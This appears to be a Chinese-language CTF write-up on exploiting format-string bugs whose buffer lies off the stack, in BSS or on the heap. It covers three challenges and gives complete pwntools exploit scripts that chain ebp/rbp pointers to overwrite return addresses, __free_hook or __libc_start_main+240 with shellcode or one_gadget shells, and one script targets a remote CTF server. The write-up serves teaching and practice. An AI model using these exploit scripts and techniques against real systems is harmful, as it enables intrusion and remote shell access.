一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面用3个例题,介绍一下常用的非栈上格式化字符串漏洞的利用方法。
需要注意:
非栈上的格式化字符串很不稳定,所以一般最多就写2个字节
有格式化字符串漏洞,但是无法输入 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 来直接泄露偏移
没有偏移的话我们无法利用fmtstr_payload()进行任意地址的覆写,所以不能进行got表的覆写。不过这题我们是要劫持返回地址,也不需要got劫持,因此影响不大。
通过调试,可以看到返回地址0x80485ad在栈中的第7个位置
%Yc%X$n: 将Y写入栈上第X个位置指针指向的位置
也就是说,假设栈上第X个位置的值为0x0804aaaa,那么我们在利用格式化字符串进行篡改时,并不能直接将0x0804aaaa修改为0x0804bbbb,只能修改[0x0804aaaa]存储的内容。
因此如果我们利用%Yc%7$n修改返回地址,实际上实在修改0x80485ad存储的代码,这肯定是会报错的。
本题的关键在于利用ebp链,利用gdb调试可以看到栈的结构如下所示:
===================== Magic echo Server ===================== %p-%p-%p-%p-%p-%p-%p-%p-%p-%p- 0x8048680-0x4-0x8048507-0x8048685-0x804a000-0xffcb0fa8-0x80485ad-0xf7f35d20-0x804a000-0xffcb0fb8-
栈中第六个位置是ebp,存储的内容是0xffffce98,假设我们利用%108c%6$hhn进行篡改,实际上会将地址0xffffce98存储的0xffffcea8改为0xffffce6c。接下来,如果我们继续利用%Yc%10$n对栈中第10个位置进行篡改,就会将地址0xffffce8c存储的内容由0x80485ad改为Y。到此,就可以成功的劫持返回地址。
通过泄露栈上第六个的值,再利用gdb确定相对偏移就可以获取栈地址
需要输入quit退出循环,因此shellcode的地址是[buf+4],即0x0804a064,因此返回地址需要覆盖为0x0804a064
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
什么保护都没开,直接把prev_ebp改为buf的地址,然后在buf内写入shellcode,就getshell了
pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn' pl = pl.ljust(200,b'\x00') s(pl) p.recv() #duan() pl = b'%' + str(0xa064).encode() + b'c%10$hn' pl = pl.ljust(200, b'\x00') s(pl) p.recv()
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def duan(): gdb.attach(p) pause() x64_32 = 0 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' p=process('./pwn') buf=0x0804A060 pre_ebp=0x080485AD #aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p #aaaa-0x8048680-0x4-0x8048507-0x8048685-0x804a000-0xffffce98-0x80485ad-0xf7fb5d60-0x804a000-0xffffcea8-0x80485ea-0xffffcec0-(nil)-(nil)-0xf7e1a647-0xf7fb5000-0xf7fb5000-(nil) ru('==\n') sl('%6$p') ru('0x') stack_addr=int(r(8),16)-0x28+0x1c leak('stack_addr:',stack_addr) #gdb.attach(p) pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn' pl = pl.ljust(200,b'\x00') s(pl) p.recv() #duan() pl = b'%' + str(0xa064).encode() + b'c%10$hn' pl = pl.ljust(200, b'\x00') s(pl) p.recv() #duan() shellcode = asm(shellcraft.sh()) pl = b'quit' + shellcode s(pl) itr()
32位的是直接修改第2列,64位是修改第3列
int __cdecl main(int argc, const char **argv, const char **envp) { char *s2; // [rsp+8h] [rbp-78h] BYREF char buf[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v6; // [rsp+78h] [rbp-8h] v6 = __readfsqword(0x28u); init(argc, argv, envp); puts("Do you know who the best pwner is?"); base64_decode(encoded_string, &s2); // VG9rYW1laW5FX2lzX3RoZV9iZXN0X3B3bmVy read(0, buf, 0x3CuLL); if ( !strcmp(buf, s2) ) vuln(); else printf("I think your idea is wrong"); free(s2); return 0; }
这里找一个在线网站解一下base64,然后进入vuln
__int64 vuln() { puts("Oh,you are right"); puts("Welcome to this place"); return fmtstr(); }
__int64 fmtstr() { int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 12; ++i ) { puts("What do you want to say?"); read(0, buf, 0x40uLL); printf(buf); } return 0LL; }
这里有13次格式化字符串
利用非栈上的格式化字符串来修改free_hook为one_gadget
__libc_start_main+240 :main函数的返回地址
1.这个题首先就是运用rbp附近的两个跳板(偏移为8和10),把_libc_start_main+240改成free_hook
这里需要改6位,所以需要4步
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn') sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn') sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
这里前两步修改就是直接对 _libc_start_main+240 后两位进行了修改
后两步是先修改了一下地址,然后修改了 _libc_start_main+240 的倒数3,4位(就是不能直接修改地址的倒数3,4位,我们就修改地址,然后改新地址的最后两位,以达到修改地址的倒数3,4位的目的)
2.然后再用跳板把free_hook改为one_gadget
free_hook (0x7fde287987a8) 与 one_gadget (0x7fde2841727a) 也是后6位有区别,所以需要多步
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn') sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn') sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')
第一步是先直接修改free_hook的后四位,第二三步是把 _libc_start_main+240 修改成了 free_hook+2 (free_hook最后两位是0xa8 , 0xa8+0x2=0xaa , 这个地址是用libc查找的,所以本地和远程后三位是一致的),然后再用这种方法修改。
这里再执行完上面最后一步就可以修改完了,然后执行free函数就直接getshell了。
from pwn import * from ctypes import * s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] context(os='linux',arch='amd64',log_level='debug') p=process('./pwn') #p=remote('60.204.130.55',10010) elf = ELF('./pwn') libc = ELF('./libc.so.6') sla('Do you know who the best pwner is?\n','TokameinE_is_the_best_pwner\0') sla('What do you want to say?\n','%18$p') ru('0x') #gdb.attach(p) libcbase = int(r(12),16) - 0x5f1168 leak('libcbase',libcbase) og = libcbase + 0x4527a free_hook = libc.sym["__free_hook"] + libcbase leak('og',og) leak('(og//0x10000)&0xffff',(og//0x10000)&0xffff) leak('free_hook',free_hook) free = free_hook//0x100000000 leak('free',free) leak('(free_hook//0x10000)&0xff',(free_hook//0x10000)&0xff) free1 = free_hook//0x10000000000 leak('free1',free1) #%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p- gdb.attach(p) num=input()#num = 72 sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn') #gdb.attach(p) sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn') #gdb.attach(p) ''' ''' itr()
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' #p=process('./pwn') p=remote('60.204.130.55',10010) elf = ELF('./pwn') libc = ELF('./libc.so.6') sla('Do you know who the best pwner is?\n','TokameinE_is_the_best_pwner\0') sla('What do you want to say?\n','%18$p') ru('0x') libcbase = int(r(12),16) - 0x5f1168 leak('libcbase',libcbase) og = libcbase + 0x4527a free_hook = libc.sym["__free_hook"] + libcbase leak('og',og) leak('free_hook',free_hook) free = free_hook//0x100000000 leak('free',free) free1 = free_hook//0x10000000000 ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' num = 72 #0x48 sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn') sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn') sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn') sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn') sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn') sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn') itr()
打远程时,29位偏移地址,最后一位一定是8,所以只需要爆破倒数第2位就行,所以有1/16的概率能够打出来
int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [rsp+4h] [rbp-Ch] Init(); puts("Have you heard about YANGSHEN?"); puts("YangShen said that he want to know your name."); printf("Give me your name:"); getstring(name, 32); printf("Hello %s\n", name); for ( i = 3; i > 0; --i ) { printf("Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ", i); getstring(food, 32); printf("You like "); printf(food); puts("!?\nI like it too!"); } return 0; }
unsigned __int64 __fastcall getstring(__int64 a1, int a2) { int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i < a2; ++i ) // a2=32 { read(0, (i + a1), 1uLL); // a1=name bss if ( *(i + a1) == 0xA ) { *(i + a1) = 0; return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
三次格式化字符串漏洞
三次格式化字符串是完全不够用的,所以先修改次数,然后把 _libc_start_main+240 修改成one_gadget就可以了
sla('favourite food: ','%'+str(i_addr&0xffff)+'c%11$hn') sla('favourite food: ','%'+str(6)+'c%37$hhn')
用上面两步来对i的次数进行修改
sla('favourite food: ','%'+str(stack1&0xffff)+'c%11$hn') sla('favourite food: ','%'+str(og&0xffff)+'c%37$hn') sla('favourite food: ','%'+str((stack1+2)&0xffff)+'c%11$hn') sla('favourite food: ','%'+str((og>>16)&0xff)+'c%37$hhn')
这四步就是把 _libc_start_main+240 修改成one_gadget
from pwn import * context.log_level = 'debug' context.arch="amd64" p=process("./pwn") #p=remote("node4.buuoj.cn",25309) elf=ELF("./pwn") libc=ELF('libc.so.6') context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] #gdb.attach(p) ru('Give me your name:') s(b'a'*32) ru('favourite food: ') sl(b'%9$p-%11$p')#%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p #gdb.attach(p) ru("0x") libc_base=int(r(12),16)-libc.sym['__libc_start_main']-240 leak('libc_base:',libc_base) ogs=[0x45226,0x4527a,0xf03a4,0xf1247] og=libc_base+ogs[0] leak('og ',og) leak('(og>>16)&0xff',((og>>16)&0xff)) #leak('og') ru("0x") stack=int(r(12),16) stack1=stack-224 leak('stack1 ',stack1) leak('stack1&0xffff ',stack1&0xffff) leak('(stack1+2)&0xffff',(stack1+2)&0xffff) i_addr=stack-(0x7ffe373b3e18-0x7ffe373b3d10)+0x8+0xc leak('i_addr',i_addr) #gdb.attach(p) sla('favourite food: ','%'+str(i_addr&0xffff)+'c%11$hn') sla('favourite food: ','%'+str(6)+'c%37$hhn') sla('favourite food: ','%'+str(stack1&0xffff)+'c%11$hn') sla('favourite food: ','%'+str(og&0xffff)+'c%37$hn') sla('favourite food: ','%'+str((stack1+2)&0xffff)+'c%11$hn') sla('favourite food: ','%'+str((og>>16)&0xff)+'c%37$hhn') gdb.attach(p) itr()